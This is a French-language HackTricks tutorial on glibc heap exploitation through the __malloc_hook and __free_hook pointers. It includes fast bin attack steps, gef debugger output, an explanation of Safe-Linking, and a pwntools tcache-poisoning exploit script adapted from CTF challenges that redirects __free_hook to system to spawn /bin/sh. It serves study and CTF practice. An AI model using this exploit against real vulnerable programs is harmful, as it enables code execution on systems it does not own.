WWW2Exec - __malloc_hook & __free_hook

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Malloc Hook

Comme vous pouvez le voir sur le site officiel de GNU, la variable __malloc_hook est un pointeur pointant vers l'adresse d'une fonction qui sera appelée chaque fois que malloc() est appelée stockée dans la section de données de la bibliothÚque libc. Par conséquent, si cette adresse est écrasée avec un One Gadget par exemple et que malloc est appelé, le One Gadget sera appelé.

Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en appelant printf("%10000$c") qui alloue trop d'octets, ce qui fait que libc appelle malloc pour les allouer dans le tas.

Plus d'infos sur One Gadget dans :

One Gadget

warning

Notez que les hooks sont dĂ©sactivĂ©s pour GLIBC >= 2.34. Il existe d'autres techniques qui peuvent ĂȘtre utilisĂ©es sur les versions modernes de GLIBC. Voir : https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

Cela a été abusé dans un des exemples de la page abusant d'une attaque de fast bin aprÚs avoir abusé d'une attaque d'unsorted bin :

Unsorted Bin Attack

Il est possible de trouver l'adresse de __free_hook si le binaire a des symboles avec la commande suivante :

bash
gef➀  p &__free_hook

Dans le post, vous pouvez trouver un guide étape par étape sur la façon de localiser l'adresse du free hook sans symboles. En résumé, dans la fonction free :

gef➀  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

Dans le point d'arrĂȘt mentionnĂ© dans le code prĂ©cĂ©dent, $eax contiendra l'adresse du free hook.

Maintenant, une attaque fast bin est effectuée :

  • Tout d'abord, il est dĂ©couvert qu'il est possible de travailler avec des chunks de taille 200 Ă  l'emplacement de __free_hook :
  • gef➀  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➀ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • Si nous parvenons Ă  obtenir un chunk rapide de taille 0x200 Ă  cet emplacement, il sera possible d'Ă©craser un pointeur de fonction qui sera exĂ©cutĂ©.
  • Pour cela, un nouveau chunk de taille 0xfc est créé et la fonction fusionnĂ©e est appelĂ©e avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libĂ©rĂ© de taille 0xfc*2 = 0x1f8 dans le fast bin.
  • Ensuite, la fonction d'Ă©dition est appelĂ©e dans ce chunk pour modifier l'adresse fd de ce fast bin afin de pointer vers la fonction __free_hook prĂ©cĂ©dente.
  • Ensuite, un chunk de taille 0x1f8 est créé pour rĂ©cupĂ©rer du fast bin le chunk inutile prĂ©cĂ©dent, donc un autre chunk de taille 0x1f8 est créé pour obtenir un chunk fast bin dans le __free_hook qui est Ă©crasĂ© avec l'adresse de la fonction system.
  • Et enfin, un chunk contenant la chaĂźne /bin/sh\x00 est libĂ©rĂ© en appelant la fonction de suppression, dĂ©clenchant la fonction __free_hook qui pointe vers system avec /bin/sh\x00 comme paramĂštre.

Poisoning de Tcache & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 a introduit Safe-Linking – un contrĂŽle d'intĂ©gritĂ© qui protĂšge les listes simplement liĂ©es utilisĂ©es par tcache et fast-bins. Au lieu de stocker un pointeur avant brut (fd), ptmalloc le stocke maintenant obfusquĂ© avec le macro suivant :

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Conséquences de l'exploitation :

  1. Un heap leak est obligatoire – l'attaquant doit connaĂźtre la valeur d'exĂ©cution de chunk_addr >> 12 pour crĂ©er un pointeur obfusquĂ© valide.
  2. Seul le pointeur de 8 octets complet peut ĂȘtre forgĂ© ; les Ă©crasements partiels d'un octet ne passeront pas la vĂ©rification.

Un primitive de tcache-poisoning minimale qui écrase __free_hook sur glibc 2.32/2.33 ressemble donc à :

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

Le extrait ci-dessus a Ă©tĂ© adaptĂ© des rĂ©cents dĂ©fis CTF tels que UIUCTF 2024 – «Rusty Pointers» et openECSC 2023 – «Babyheap G», qui reposaient tous deux sur des contournements de Safe-Linking pour Ă©craser __free_hook.


Qu'est-ce qui a changĂ© dans glibc ≄ 2.34 ?

À partir de glibc 2.34 (aoĂ»t 2021), les hooks d'allocation __malloc_hook, __realloc_hook, __memalign_hook et __free_hook ont Ă©tĂ© supprimĂ©s de l'API publique et ne sont plus invoquĂ©s par l'allocateur. Des symboles de compatibilitĂ© sont toujours exportĂ©s pour les binaires hĂ©ritĂ©s, mais les Ă©crasements ne influencent plus le flux de contrĂŽle de malloc() ou free().

Implication pratique : sur les distributions modernes (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.), vous devez passer à d'autres primitives de détournement (IO-FILE, __run_exit_handlers, vtable spraying, etc.) car les écrasements de hooks échoueront silencieusement.

Si vous avez encore besoin du comportement ancien pour le dĂ©bogage, glibc fournit libc_malloc_debug.so qui peut ĂȘtre prĂ©chargĂ© pour rĂ©activer les hooks hĂ©ritĂ©s – mais la bibliothĂšque n'est pas destinĂ©e Ă  la production et pourrait disparaĂźtre dans de futures versions.


Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks